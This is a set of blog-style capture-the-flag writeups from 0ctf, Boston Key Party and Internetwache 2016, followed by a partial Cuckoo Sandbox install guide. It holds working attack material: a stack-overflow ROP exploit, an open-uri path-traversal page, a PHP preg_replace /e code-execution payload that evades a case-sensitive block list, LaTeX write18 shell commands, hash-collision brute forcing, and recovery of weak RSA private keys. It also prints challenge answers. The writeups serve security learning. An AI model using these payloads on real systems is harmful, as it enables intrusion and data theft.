Kolobyte - Eugene Kolodenker

0ctf 2016 Boomshakalaka (plane) Writeup

boomshakalaka (plane)

play the game, get the highest score


This was an Android reverse engineering challenge. We're given an apk, plane.apk. First thing to do is check out the apk by launching an emulator, or using your phone. I do some Android development right now, so I already had a couple of Android VMs ready made in Android Studio.

$ adb devices
List of devices attached  
emulator-5556    device  
$ adb install plane.apk # Note: The emulator must have an ARM ABI, not x86 for this apk

Turns out it's a pretty fun game! Nothing really sticks out from a security and puzzle perspective.
Well, let's take a look into the source code. We're given an apk file, which is just a fancy Android jar, and a jar file is just a fancy Java zip file, so all the contents that form the app are contained inside the apk and just need to be unpacked. We can either unpack the dex files (fancy Android .class files), or smali assembly. I did the latter first, by using the tool, apktool.

$ apktool d plane.apk
$ ls
AndroidManifest.xml  apktool.yml  assets  lib  original  res  smali  
$ ls smali/com/example/plane/
a.smali  BuildConfig.smali  FirstTest.smali  R$attr.smali  R$drawable.smali  R.smali  R$string.smali  

We have every file inside of the apk, you can browse around the directories and figure out how the application works. The interesting parts are in a.smali, and FirstTest.smali. The first thing you'll notice is the base64 string: const-string v0, "YmF6aW5nYWFhYQ==", decoded to: "bazingaaaa" - funny. Without diving into how to read Java bytecode, it looks like the programs don't really do too much interesting except set some shared preferences (persistent global variables), put some weird strings (DATA, N0, and MG) into them, and call the init functions. There's no actual game logic anywhere though - it must be implemented elsewhere. Looking back into the directories that apktool told us, we can find lib/armeabi/libcocos2dcpp.so. So the actual logic and everything for the game must be written in "native code" inside of the libcocos2dcpp.so. We have to take a peak at the code inside of that compiled native binary... but before that, let's backtrack and make sure we understand the Java side of the code.

I know of a couple more tool for decompiling and reversing Android programs, dex2jar and jd-gui. All these great tools used are included in my sec-tools collection.

$ dex2jar plane.apk
dex2jar plane.apk -> ./plane-dex2jar.jar  
$ jdgui plane-dex2jar.jar

Produces us these decompiled Java files: a.java and FirstTest.java. Pretty much what we understood in the earlier smali files, but much clearer. This is a good technique to keep in mind when reversing future Android apps.

Back to the libcocos2dcpp.so, let's look for those strings we saw on the Java side of the app, specifically DATA (that's a juicy one).

IDA Strings

Interesting other strings near it.

IDA Cross References

setStringForKey from cocos2d seems to use this string in some sort of way. Looking up what the function does leads me to cocos2d reference manual. It looks like the function sets a key to be equal to a string. This sounds like persistent memory storage, for things like the game score!

Remember the description of this challenge... our goal is to get the highest score. Remembering my teenage years, I used to cheat in some games that stored things like the game score in a simple text file. I wonder if we can do the same thing here, and just change some number stored in a text file, get the highest score, and get our flag.

Let's do that.

$ adb shell
$ cd /data/data/com.example.plane/shared_prefs
$ cat Cocos2dxPrefsFile.xml
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>  
    <int name="HighestScore" value="14000" />
    <string name="DATA">MGN0ZntDMGNvUzJkX0FuRHJvdz99ZntDMGNvUzJkX0FuRHJvMWRzdz99ZntDMGNvUzJkX0FuRHJvRfdz99ZntDMGNvUzJkX0FuRHJvMWRzdz99ZntDMGNvUzJkX0FuRHJvMWdz99ZntDMGNvUzJkX0FuRHJvRfRz</string>
    <boolean name="isHaveSaveFileXml" value="true" />
$ echo 'MGN0ZntDMGNvUzJkX0FuRHJvdz99ZntDMGNvUzJkX0FuRHJvMWRzdz99ZntDMGNvUzJkX0FuRHJvRfdz99ZntDMGNvUzJkX0FuRHJvMWRzdz99ZntDMGNvUzJkX0FuRHJvMWdz99ZntDMGNvUzJkX0FuRHJvRfRz' | base64 --decode

Trying out, 0ctf{C0coS2d_AnDrow?} won't do us any good, it's not the flag. I tried a bunch of combinations such as 0ctf{0ctf{C0coS2d_AnDro1d?} as well, it's none of that. Okay. Let's think. We seem to have a repeating pattern in the base64. Some examination of the base64 compared to the ASCII output reveals that MGN0 is actually '0ct', and ZntD is 'f{C', and dz99 is 'w?}', and some stuff inbetween. It looks like we have to use the pieces of data we saw in the .so binary to form some sort of base64 that'll decode into the flag. Editing the HighestScore value to 1000000 and playing the game, and then checking back the xml file doesn't seem to do anything.

If you look for all the tiny strings near the ones we found around DATA that are "base64-esque", you'll get this list: Jv Uz X0 Zn tD dz99 MG Nv Fu Jk RH 4w S2 Vf b1 9z RV Bt Rz Rf MW. We have to probably use them in the right order, we already know the placement of most of those. We really only need to basically place ~8 strings in the correct order that'll decode correctly into ASCII. You can bruteforce, or you can examine the binary .so some more.

The characters seem to get added to the string, DATA, inside of the Cocos2dxPrefsFile.xml when the game is initialized, when the game layers are loaded, when certain high scores are achieved, and when the game is ending. By following the logical progression that would happen, e.g. you init first, load layers, get high score in linear order, and end the game, you'll form the correct base64 string.

echo 'MGN0ZntDMGNvUzJkX0FuRHJvMWRfRzBtRV9Zb1VfS24wdz99' | base64 --decode  

Boston Key Party CTF 2016 Writeups

Boston Key Party (BkP) CTF is a challenging annual CTF organized by several Boston area university alums. It's a challenging CTF that has focused on exploitation, reversing, and cryptography in the past.

I have friends organizing it, so I gave their challenges a try and managed to solve a few.


Simple Calc

(pwn, solved by 186)

what a nice little calculator! https://s3.amazonaws.com/bostonkeyparty/2016/b28b103ea5f1171553554f0127696a18c6d2dcf7
simplecalc.bostonkey.party 5400

I teamed up with @kierk for this challenge.

We're given an ELF64 binary. Opening it up in IDA and running the decompiler reveals to us:

int __cdecl main(int argc, const char **argv, const char **envp)  
  void *v3; // [email protected]
  int result; // [email protected]
  const char *v5; // [email protected]
  __int64 v6; // [email protected]
  char v7; // [sp+10h] [bp-40h]@14
  int v8; // [sp+38h] [bp-18h]@5
  int v9; // [sp+3Ch] [bp-14h]@1
  __int64 v10; // [sp+40h] [bp-10h]@4
  int i; // [sp+4Ch] [bp-4h]@4

  v9 = 0;
  setvbuf(stdin, 0LL, 2LL, 0LL);
  v3 = stdout;
  setvbuf(stdout, 0LL, 2LL, 0LL);
  printf((unsigned __int64)"Expected number of calculations: ");
  _isoc99_scanf((unsigned __int64)"%d");
  handle_newline("%d", &v9);
  if ( v9 <= 255 && v9 > 3 )
    v5 = (const char *)(4 * v9);
    LODWORD(v6) = malloc(v5);
    v10 = v6;
    for ( i = 0; i < v9; ++i )
      v5 = "%d";
      _isoc99_scanf((unsigned __int64)"%d");
      handle_newline("%d", &v8);
      switch ( v8 )
        case 1:
          *(_DWORD *)(v10 + 4LL * i) = dword_6C4A88;
        case 2:
          *(_DWORD *)(v10 + 4LL * i) = dword_6C4AB8;
        case 3:
          *(_DWORD *)(v10 + 4LL * i) = dword_6C4AA8;
        case 4:
          *(_DWORD *)(v10 + 4LL * i) = dword_6C4A98;
          if ( v8 == 5 )
            memcpy(&v7, v10, 4 * v9);
            return 0;
          v5 = "Invalid option.\n";
          puts("Invalid option.\n");
    result = 0;
    puts("Invalid number.");
    result = 0;
  return result;

It seems the program is infact, a simple calc. The program can add, subtract, multiply, or divide for us. Looking deeper into the program's functions reveals that there's nothing really too interesting, summarized here:

  • print_motd - a simple 1 line printf, nothing exploitable
  • handle_newline - does getchar until a \0 or a \n, perhaps buggy, but doesn't seem exploitable
  • print_menu - simple printfs, nothing exploitable
  • adds, subs, muls, divs - do basic arithmetic of two arguments, the arguments are limited to > 39, for some reason. It seems you can cause integer overflows here perhaps. The interesting thing in these is that result of the functions seems to get put into the global data section, .bss.

The main function allows us 5 options, the 4 basic math operators, and a save and exit. The save and exit is particularly interesting. The save and exit option does a memcpy of global memory onto the stack. However, there was only 11 dwords allocated for the copy operation by the stack. If we ask main for more than 11 operations, prompted here: printf((unsigned __int64)"Expected number of calculations: ");, then we'll have a simple stack buffer overflow. With that, we can overwrite the return address, and initiate a ropchain.

There is one other interesting point here, and that's the call to free(). Initially we ran into the problem of free() failing, and causing a segmentation fault when we were playing with the program with over 11 operations. That's because we kept spamming the global memory with the values "40..41..42..43..44", and free() would try to free the memory located at 0x0000000000000059. We were stuck, but we guessed perhaps free() doesn't fail for 0 or null, and that turned out to be true, as documented here:

The free function causes the space pointed to by ptr to be deallocated, that is, made available for further allocation. If ptr is a null pointer, no action occurs.

So we can simply make sure the 19th value copied onto the stack is 0x0000000000000000.

So let's create this ropchain, luckily the binary is gigantic, and has everything we need. Running ropgadget (also included in my sec-tools) on the binary produces for us an already complete ropchain:

ropgadget --binary b28b103ea5f1171553554f0127696a18c6d2dcf7 --ropchain  
> https://gist.github.com/eugenekolo/d07741d6e7b261b3c339#file-ropchain-py

Now, we have to get that chain onto the stack, and we're set. We have control of a global array in memory that gets copied onto the stack. Getting the exact bytes we want into that global array is a bit tricky. We have to use one of the operations of the calculator (sub is my favourite), with specially crafted operands. The result of that calculation will be put into the global array. This part is a bit tricky in that it takes 2 operations of the calculator to fill 64-bit blocks in memory that the program uses (due to it being a 64-bit elf) - the calculations return 32-bit numbers. So, we end up with a chain of operations that looks like this:

2          # Subtract operation  
100        # Result = 4602768

2          # Subtract operation  
100        # Result = 0

2          # Subtract operation  
100        # Result = 4602768

2          # Subtract operation  
100        # Result = 0


5 # Save and exit operation  

That will result in 0x0000000000463B90 and 0x0000000000463B90 quad-words in the global memory.

The global array is then copied onto the stack with a save and exit. The copying overwrites the return address on the stack, and begins our ropchain.

Now we have to somehow get the entire ropchain into memory with some calculator operations. I went with a low-tech pwning script for this exploitation. I wrote a pwn_script that outputted the above chain of operations, newlines included. When the pwn_header (to initiate 254 operations, and make sure free() frees 0x0) and the output of the pwn_script is copied into the remote session of the challenge, nc simplecalc.bostonkey.party 5400, a series of subtraction operations with different operands will occur. Finally a 5 will be passed to the remote session, and cause a save and exit. That will kick off the ropchain now in the .bss section, revealing to us this tasty shell:

$ ls
$ cat key


(web, solved by 115)

inlining proxy here http://optiproxy.bostonkey.party:5300

This was a fun challenge about a vulnerable Ruby program. Navigating to the webpage given brings us to a simple website that prompts us:

welcome to the automatic resource inliner, we inline all images go to /example.com to get an inlined version of example.com flag is in /flag source is in /source  

Unfortunately the flag is not as easy as just navigating to http://optiproxy.bostonkey.party:5300/flag.

Navigating to /source gives us the source code:

require 'nokogiri'  
require 'open-uri'  
require 'sinatra'  
require 'shellwords'  
require 'base64'  
require 'fileutils' 

set :bind, ""  
set :port, 5300  
cdir = Dir.pwd 

get '/' do str = "welcome to the automatic resource inliner, we inline all images" str << " go to /example.com to get an inlined version of example.com" str << " flag  
is in /flag" str << " source is in /source" str end 

get '/source' do IO.read "/home/optiproxy/optiproxy.rb" end 

get '/flag' do str = "I mean, /flag on the file system... If you're looking here, I question" str << " your skills" str end 

get '/:url'  
    url = params[:url] 
    main_dir = Dir.pwd 
    temp_dir = "" 
    dir = Dir.mktmpdir "inliner" Dir.chdir dir 
    temp_dir = dir 
    exec = "timeout 2 wget -T 2 --page-requisites #{Shellwords.shellescape url}" `#{exec}` 
    my_dir = Dir.glob ("**/") Dir.chdir my_dir[0] 
    index_file = "index.html" 
    html_file = IO.read index_file 
    doc = Nokogiri::HTML(open(index_file)) 
        |img| header = img.xpath('preceding::h2[1]').text 
        image = img['src'] 
        img_data = "" 
        uri_scheme = URI(image).scheme 
            begin if (uri_scheme == "http" or uri_scheme == "https") 
                url = image 
                url = "http://#{url}/#{image}" 
        img_data = open(url).read 
        b64d = "data:image/png;base64," + Base64.strict_encode64(img_data) 
        img['src'] = b64d rescue # gotta catch 'em all puts "lole" next end 
    puts dir FileUtils.rm_rf dir Dir.chdir main_dir doc.to_html 

At first glance, you might think to try exploiting exec = "timeout 2 wget -T 2 --page-requisites #{Shellwords.shellescape url}, but I was unable to find anything online that is able to escape Shellwords.shellescape. I believe it's safe to assume, that's a well written module, with no known exploits, and finding a 0day in it, while possible, is probably outside the scope of the challenge.

Moving on to understanding what exactly the code is doing, it seems to follow these steps:

  1. Parse out the parameter given after /, e.g. example.com if navigated to http://optiproxy.bostonkey.party:5300/example.com
  2. Create a folder named inliner and change directory into it.
  3. Run wget to create a mirror of the website provided in (1)
  4. Parse index.html from the mirrored website, and for each img tag:
    1. Grab the src parameter of the img tag
      • If the src parameter's URI scheme is http or https, it's good to go
      • Else if the URI scheme isn't http or https, then form a string that does have http uri scheme
    2. Open the url string created in (4a), and read the data from it
    3. Base64 the image data read, and change the src parameter of the img tag to the base64 of the image data
  5. Return the inliner dir to the user of the web app, and clean up

Okay, so where's the exploit? First things first, I tried passing something more interesting than just a simple webpage as the url to the web app to inline, i.e. file://../../../../flag, meaning I navigated to http://optiproxy.bostonkey.party:5300/file://../../../../flag, but that just returns to us the error message saying flag isn't there. I then thought that what I actually need is a website with an img tag whose src parameter is file://../../../../flag, so I whipped that up quickly:

<img src="file://../../../../flag" />  

I served the webpage off of my remote server with python3 -m http.server for a quick HTTP server. Navigating over to http://optiproxy.bostonkey.party:5300/mywebsite.com:8000 gives me a blank screen. Checking the console and source code reveals the issue: Not allowed to load local resource: file://../flag

It looks like the web app did mirror my website, it just didn't actually open the file, because of the uri_scheme check, file != http. Okay, so we really do need something that'll pass the URI scheme check, back to Google to learn more about Ruby's uri_scheme leads me to http://sakurity.com/blog/2015/02/28/openuri.html, jackpot. Interesting, it seems that a URL like http:/foobar will pass the uri_scheme check, and if we can somehow have a folder named http: (note the :) then we have a remote file read (into /flag!). Now... how do we possibly make the folder named http:.

After some thinking, I realized the solution, just make our fake website have a subdirectory named http: that'll get included by the index.html, because the wget call in the webapp is 2 levels deep, this will work!

<img src="./http:/hi" />  
<img src="http:/../../../../../../../../flag" />  

Note that the 2nd src tag above, is to http:/, and not http://. Getting that website inlined, will cause the Ruby web application to create a directory structure with a folder named http: in it, and then open a file in reference to the folder http:, and return to us:

<img src="data:image/png;base64,aGloaQo=">  
<img src="data:image/png;base64,QktQQ1RGe21heWJlIGRvbnQgaW5saW5lIGV2ZXJ5dGhpbmcufQo=">  

Decode the 2nd base64:
BKPCTF{maybe dont inline everything.}

Internetwache 2016 CTF Writeups

The team I run at Boston University just got done competing in the Internetwache 2016 CTF. It was a bunch of fun, and we came in 84th out of 647 active teams, solving over 75% of the challenges.

In light of team members expressing their frustration when reading other people's writeups and how failures are not published enough, this set of writeups by me is going to have some failures =D.



(rev70, solved by 186)

Someone handed me this and told me that to pass the exam, I have to extract a secret string. I know cheating is bad, but once does not count. So are you willing to help me?

I teamed up with @kierk for this challenge.

After unzipping the challenge, we're presented with a single ELF32 ARM binary.

file serverfarm  
serverfarm: ELF 32-bit LSB  executable, ARM, EABI5 version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, not stripped  

Opening it up in IDA:


Ignoring what it even does, jumping around to the subroutine it's calling (renamed to handle_task) and pressing tab to get IDA pseudocode.


At this point, we're able to statically look over the code, with the knowledge of how the flag is supposed to look and piece together:

IW{S.E + .R.V.E + .R>=F: + A:R:M}


Quick Run

(misc60, solved by 269)

Someone sent me a file with white and black rectangles. I don't know how to read it. Can you help me?

This was a funny challenge where after unzipping it you're presented with a single file that contains a bunch of wonky looking text. If you base64 decode it, you're presented with a set of:

██              ██    ██  ████              ██
██  ██████████  ██████  ██  ██  ██████████  ██
██  ██      ██  ██  ██████  ██  ██      ██  ██
██  ██      ██  ██████████████  ██      ██  ██
██  ██      ██  ██    ██    ██  ██      ██  ██
██  ██████████  ████  ████████  ██████████  ██
██              ██  ██  ██  ██              ██
██████████████████████  ██  ██████████████████
████  ████  ██  ████████      ████  ██  ██  ██
██  ██  ██  ████  ██  ██████      ██████    ██
██  ██          ██  ██      ████  ████████  ██
██  ████████  ██  ██  ██  ██  ██  ██  ██  ████
████  ██    ██  ██  ██  ██  ██  ██  ██  ██  ██
████████████████████  ██  ██  ██  ██  ██  ████
██              ██████  ██  ██  ██  ██  ██  ██
██  ██████████  ████  ██  ██  ██  ██  ██  ████
██  ██      ██  ██  ██  ██  ██  ██  ██  ██  ██
██  ██      ██  ████  ██  ██  ██  ██  ██  ████
██  ██      ██  ██████  ██  ██  ██  ██  ██  ██
██  ██████████  ██    ████████  ████  ██    ██
██              ██████          ██  ██  ██  ██

These are actually QR codes, decoding each one reveals:


We could've saved 5 minutes by realizing to start looking for 'IW' first, and not decoding 'flagis:'.

Mess of Hash

(web50, solved by 170)

Students have developed a new admin login technique. I doubt that it's secure, but the hash isn't crackable. I don't know where the problem is...

This was an interesting challenge. On unzipping the challenge you're presented with a single README.txt.

All info I have is this:  

$admin_user = "pr0_adm1n";
$admin_pw = clean_hash("0e408306536730731920197920342119");

function clean_hash($hash) {  
    return preg_replace("/[^0-9a-f]/","",$hash);

function myhash($str) {  
    return clean_hash(md5(md5($str) . "SALT"));

The website listed in the challenge description is simply a login screen. It's unlikely the challenge is meant to be an SQL injection, or XSS, or anything like that. Checking some basic directories/files consistent with the other challenges tells me that admin.php doesn't exist, nor does admin, but flag.php is there, it's just not readable (flag.php page loads, it's just blank).

So we have to somehow read that flag.php. There's really two ways, it's either just presented to us if we login as the 'pr0_adm1n' user, or via SQLi. Let's see what we can think of for how to login as 'pr0_adm1n' knowing we have what seems to be the server-side hashing code, and the admin's hashed password.

Path of least resistance... we can guess the hash is md5, based on the length of it, let's see if it's cracked already online! Nope, google shows up nothing. Okay, so the hashing code seems to take in a $str, which I guess is probably the password when a user is created in this fictional school (from the challenge description). The password is hashed, then the string "SALT" is appended to it, i.e. salting it, and then it's hashed again. And then for some reason, that I'm not too sure about, it seems to remove all non-hex characters.

The hashing seems clean. I don't see how to get a hash collision, and bruteforce would be lame, and considering it's not found online, it's probably not a short password. I'm out of ideas here, the best I can think of is that this is another one of PHP's infamous security holes, and the md5 function is somehow poorly implemented. Googling for "md5 php dangerous" leads me to PHP: md5('240610708') == md5('QNKCDZO'). Interesting... so reading that it seems that PHP has a weird type issue:

All of them start with 0e, which makes me think that they're being parsed as floats and getting converted to 0.0.

This is exactly what we have. We just have to find a string that myhash()'s into something that starts with 0e, and then it will collide with the check on $admin_pw. Turns out the requirement is a bit stricter, and every hex character after 0e also has to be decimal, 0-9, for the conversion to float 0.0 to happen. But, this is still doable, and we now have a much smaller search space.

$admin_user = "pr0_adm1n";
$admin_pw = clean_hash("0e408306536730731920197920342119");

function clean_hash($hash) {  
    return preg_replace("/[^0-9a-f]/","",$hash);

function myhash($str) {  
    return clean_hash(md5(md5($str) . "SALT"));

function generateRandomString($length = 10) {  
    $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $charactersLength = strlen($characters);
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, $charactersLength - 1)];
    return $randomString;

for ($i = 0; $i < 100000000; $i++) {  
    $result = generateRandomString(8);
    if (myhash($result) == $admin_pw) {
        print($result . "  " . myhash($result) . "\n");
woo!KyJg0SXC  0e588095185108872523046880371953  

Logging in with the username, pr0_adm1n, and password, KyJg0SXC, will lead to a hash collision, and at login flag.php is displayed.


Brute with Force

(code80, solved by 90)

People say, you're good at brute forcing... Have fun! Hint: You don't need to crack the 31. character (newline). Try to think of different (common) time representations. Hint2: Time is CET

This is a task I did not successfully get. After reviewing other people's solutions, I realized my mistake was misunderstanding the expected format.

Upon connecting to the challenge server, you're presented with:

Hint: Format is TIME:CHAR  
Char 0: Time is 19:33:21, 052th day of 2016 +- 30 seconds and the hash is: b3007e6bb4ae0e4ff58c719fc11fa89f8cb4cb78  

My thoughts:

So we have a format of TIME:CHAR, however we don't know what exactly is TIME defined as, and what is CHAR defined as? Time could be "19:33:21", or maybe they meant they want the format as "19:33:21, 052th day of 2016 +- 30 seconds", or maybe it's something else? And what is the hash for?

After some debate with the team, I come to the conclusion that they expect the format like this <Time in some format>:<Char presented to you>, where the time can be +/- 30 seconds of when you connected/got the prompt. The hash of that guess should be equal to the hash presented to you. You respond back to the server with <The time that hashed correctly>:<Char presented to you>, and you'll then get sent back the first character of the flag. Do this 32(?) times, and you'll have the flag. Okay!

So there's still the unanswered question of what date format do they want. I'll try everything on the first hash prompted to us (CHAR: 0), whichever date format worked out for that, is the date format we'll use for the next 31 hashes!

import subprocess  
import hashlib

for i in range(-30, 30):  
    dates = []
    dates.append(subprocess.check_output("TZ=Europe/Rome date '+%T' --date='+{} seconds'".format(str(i)), shell=True))
    dates.append(subprocess.check_output("TZ=Europe/Rome date '+%s' --date='+{} seconds'".format(str(i)), shell=True))
    dates.append(subprocess.check_output("TZ=Europe/Rome date '+%Y%m%d-%H%M%S' --date='+{} seconds'".format(str(i)), shell=True))
    dates.append(subprocess.check_output("TZ=Europe/Rome date '+%H%M%S' --date='+{} seconds'".format(str(i)), shell=True))
    dates.append(subprocess.check_output("TZ=Europe/Rome date '+%R' --date='+{} seconds'".format(str(i)), shell=True))
    dates.append(subprocess.check_output("TZ=Europe/Rome date '+%r' --date='+{} seconds'".format(str(i)), shell=True))
    dates.append(subprocess.check_output("TZ=Europe/Rome date '+%c' --date='+{} seconds'".format(str(i)), shell=True))
    dates.append(subprocess.check_output("TZ=Europe/Rome date -R --date='+{} seconds'".format(str(i)), shell=True))
    dates.append(subprocess.check_output("TZ=Europe/Rome date -Iseconds --date='+{} seconds'".format(str(i)), shell=True))
    dates.append(subprocess.check_output("TZ=Europe/Rome date --rfc-3339=seconds --date='+{} seconds'".format(str(i)), shell=True))

    for date in dates:
        guess = date.strip() + ":0"


Nothing hashed to the hash prompted to us. At this point it was late, I was tired, and cursing the challenge. Just tell us what date format you expect! I really don't want to go and Google every imaginable date format there is, and test with every single one. So we didn't solve this challenge.

After the competition, other people's solutions made it clear to me what was wrong. I would have gotten the TIME format correct, my issue was actually the CHAR format. I thought you only had to bruteforce the time, and the 'Char 0', but actually you had to also bruteforce the CHAR. If I simply had another nested loop in my solver trying every ASCII character, I'd have gotten the challenge. Live and learn.

Replace with Grace

(web60, solved by 268)

Regular expressions are pretty useful. Especially when you need to search and replace complex terms.

It's a site that does simple search and replace on an input string.
For example:

Search: /cow/  
Replace: cat  
Input: cows are cute <3  
-> cats are cute <3

My thought process for this challenge was then to find some sort of command injection. I was guessing that the site was using UNIX sed, by using pseudocode like:

cmd = 's' + <search> + <replace> + '/'  
system("echo <input> | sed -i cmd")  

A command injection in this case could be done by making <replace> something like /;cat flag;. But this wasn't working. I tried a few more avenues to get command injection in. Nothing worked. I was still convinced this was command injection into a UNIX shell, so I gave up for a bit and did other challenges.

Coming back to the challenge, after solving a few other web challenges, made me realize that this is probably just feeding strings into PHP's (since all the other web challenges are written in PHP) search and replace function. I'm not a PHP developer, but googling for PHP search and replace leads me to preg_replace. Okay, it's probably this... doesn't seem bad, but PHP is notorious for being dangerous, so let's search up "preg_replace dangerous". Sure enough, preg_replace has a "bug/feature/wtf" where appending an /e to the <search> parameter will cause the <replace> parameter to be executed as code. Simple.

Testing some payloads, there seems to be a list of blocked words, that's nice that they tell us this error message and let us know our payload is on the right track. The blocked word checker is case-sensitive, and funny enough, PHP is not.

Search: /cow/e  
Replace: syStEm("cat flag.php")  
Input: Hi Mom!  
-> $FLAG = IW{R3Pl4c3_N0t_S4F3}


(web90, solved by 193)

Creating and using coperate templates is sometimes really hard. Luckily, we have a webinterace for creating PDF files. Some people doubt it's secure, but I reviewed the whole code and did not find any flaws.

On this challenge website, you're presented with a web app that parses LaTeX into a PDF, and returns that PDF to you. Essentially it's a web wrapper around the CLI pdftex. We already have code running on a machine, and the challenge creators were kind enough to provide us with a print of the stdout.

I've only used LaTeX once before (recently for a paper I submitted to a conference), so I'm fairly knew, but gained a lot of exposure to it. From experience, I know LaTeX is powerful, and can include other files inside of files, i.e. include a fragment .tex file inside of a parent .tex. So, let's Google for how to include a file. It took a lot of wrestling around in LaTeX, but I was finally able to get LaTeX to read an entire file line by line into a PDF, and export that PDF to me.

I decided I need to find a way to execute commands from LaTeX, to get a file listing, to find out where a flag file is. It turns out there's the \immediate\write18{ls xyz.* > temp.dat} construct in LaTeX. write18 is a function that is essentially system("...") for LaTeX. We can do a find / -name "*flag*" and find any files named flag on the file system.

\immediate\write18{find / -name "*flag*" > hihi}
  \advance\linecnt by \@ne
  \readline\myread to \line

Please excuse the shitty LaTeX that probably makes no sense, but this seemed to work mostly.

This returned nothing. Okay, perhaps the flag is stored in a random file. Let's change our system command to search every file for the string 'IW' (the flag format), ls -R / | grep 'IW', and see what we get.
This returns a giant PDF with a bunch of junk. Doing a search using a PDF editor for "flag" reveals:

matchesfl/var/www/texmaker.ctf.internetwache.org/flag.php:$FLAG = ”IW–L4T3x ̇IS ̇Tur1ng ̇c0mpl3t  

Weirdly formatted, but with some knowledge of other flags, I'm able to guess the actual flag is meant to be IW{L4T3x_IS_Tur1ng_c0mpl3te}.

Oh Bob!

(crypto60, solved by 167)

Alice wants to send Bob a confidential message. They both remember the crypto lecture about RSA. So Bob uses openssl to create key pairs. Finally, Alice encrypts the message with Bob's public keys and sends it to Bob. Clever Eve was able to intercept it. Can you help Eve to decrypt the message?

After unzipping the challenge, we're presented with four files, three public keys, and one file with three encrypted strings.

cat bob.pub  
-----END PUBLIC KEY-----
cat secret.enc  



The description tells us, that we have to decrypt the secret encoded messages. This is public-key cryptography, but all we have are the public keys. To decrypt the messages, we need the private keys.

Luckily, judging by the size of the base64 encoded public keys, the keys are very small. RSA is only secure when a large enough key is used at a minimum 1024-bits, and 2048-bits or more is recommended.

I've never done this before, so my thought was to first figure out what type of key this is, and then figure out how to extract the components of the key (asymmetric keys are not typically simple byte arrays, but instead several numbers concatenated together), and then see where to go from there. This lead me no where. Finding the right openssl commands to use on the key was proving impossible. Every command I found online to simply figure out the type of public key (we don't know if it's RSA, DSA, or something else) inside the given files was giving an error. Eventually I stumbled upon something that finally worked:

openssl asn1parse -dump -i -in bob2.pub  
    0:d=0  hl=2 l=  56 cons: SEQUENCE          
    2:d=1  hl=2 l=  13 cons:  SEQUENCE          
    4:d=2  hl=2 l=   9 prim:   OBJECT            :rsaEncryption
   15:d=2  hl=2 l=   0 prim:   NULL              
   17:d=1  hl=2 l=  39 prim:  BIT STRING        

Okay, at this point at least I know it's an RSA key finally. I sort of can guess from the output of this that the parts of the key take up 39 bytes. I know that in RSA the "key size" is actually just the modulus in the RSA equation, so the key is ~256 bits - bruteforceable.

Through some luck I stumbled upon, https://warrenguy.me/blog/regenerating-rsa-private-key-python. Following his guide I'm able import a public key, and obtain the key's modulus and exponent (the 2 numbers stored in an RSA public key). The modulus can be factored into p*q, through bruteforce, since the modulus is so small - this is a significantly harder bruteforce when the modulus is 4096 bits. Using those factors, we then obtain the final piece of an RSA private key, the private exponent (a RSA private key is p,q,d, whereas a public key is n,e). Pycrypto has a great construct function that allows to easily recreate the corresponding private key. Applying this approach to each of Bob's public keys we can decrypt each message in secret.enc.

Some additional finagling has to be done to apply each recovered private key to each part of the secret.enc file. For that I just used simple copy pasting into 3 separate files. Padding is also typically used in crypto, and we have to account for that. And finally, the authors either messed up or intentionally (or maybe I messed something up?) ordered the messages in secret.enc as corresponding to bob.pub,bob3.pub, bob2.pub in that order.

from Crypto.PublicKey import RSA  
from Crypto.Cipher import PKCS1_v1_5  
import gmpy  
import base64  
from Crypto import Random  
from Crypto.Hash import SHA

bob1 = """-----BEGIN PUBLIC KEY-----  
-----END PUBLIC KEY-----"""
bob2 = """-----BEGIN PUBLIC KEY-----  
-----END PUBLIC KEY-----"""
bob3 = """-----BEGIN PUBLIC KEY-----  
-----END PUBLIC KEY-----"""

pub1 = RSA.importKey(bob1)  
pub2 = RSA.importKey(bob2)  
pub3 = RSA.importKey(bob3)

n1 = long(pub1.n)  
e1 = long(pub1.e)  
n2 = long(pub2.n)  
e2 = long(pub2.e)  
n3 = long(pub3.n)  
e3 = long(pub3.e)

# Obtained using msieve. Should probably fully pythonize this by using pysieve.
p1 = 17963604736595708916714953362445519  
q1 = 20016431322579245244930631426505729  
p2 = 16514150337068782027309734859141427  
q2 = 16549930833331357120312254608496323  
p3 = 17357677172158834256725194757225793  
q3 = 19193025210159847056853811703017693

d1 = long(gmpy.invert(e1,(p1-1)*(q1-1)))  
d2 = long(gmpy.invert(e2,(p2-1)*(q2-1)))  
d3 = long(gmpy.invert(e3,(p3-1)*(q3-1)))

key1 = RSA.construct((n1,e1,d1))  
key2 = RSA.construct((n2,e2,d2))  
key3 = RSA.construct((n3,e3,d3))

with open('secret1.bin','r') as f1:  
    enc1 = f1.read()
with open('secret3.bin','r') as f2:  
    enc2 = f2.read()
with open('secret2.bin','r') as f3:  
    enc3 = f3.read()

dsize = SHA.digest_size  
sentinel = Random.new().read(15+dsize)

cipher = PKCS1_v1_5.new(key1)  
secret = cipher.decrypt(enc1, sentinel)  
print("--- secret 1 ---")  

cipher = PKCS1_v1_5.new(key2)  
secret = cipher.decrypt(enc2, sentinel)  
print("--- secret 2 ---")  

cipher = PKCS1_v1_5.new(key3)  
secret = cipher.decrypt(enc3, sentinel)  
print("--- secret 3 ---")  

Installing and setting up Cuckoo Sandbox

Been busy last two weeks completing a research paper. Hopefully the code I made for the paper can be released soon. For now, here's some snippets I used to set up part of the environment for the research. (Intentionally vague, as it's not published yet)

This is a quick guide for how to install Cuckoo Sandbox to work with Virtualbox VMs.

Install dependencies for Cuckoo

sudo apt-get install python  
sudo apt-get install mongodb  
sudo apt-get install g++  
sudo apt-get install python-dev python-dpkt python-jinja2 python-magic python-pymongo  
python-gridfs python-libvirt python-bottle python-pefile python-chardet python-pip  
sudo apt-get install libxml2-dev libxslt1-dev  
sudo pip2 install sqlalchemy yara  
sudo pip2 install cybox==  
sudo pip2 install maec==  
sudo pip2 install python-dateutil

sudo apt-get install python-dev libfuzzy-dev  
sudo pip2 install pydeep

sudo apt-get install tcpdump # If not installed  
# Allow tcpdump to read raw TCP data without root:
sudo setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump

wget http://downloads.volatilityfoundation.org/releases/2.4/volatility-2.4.zip && unzip volatility-2.4.zip && cd volatility-2.4  
sudo python setup.py install  
# Install the libraries that volatility wants:
sudo pip2 install distorm3  

Install Cuckoo and Virtual Box

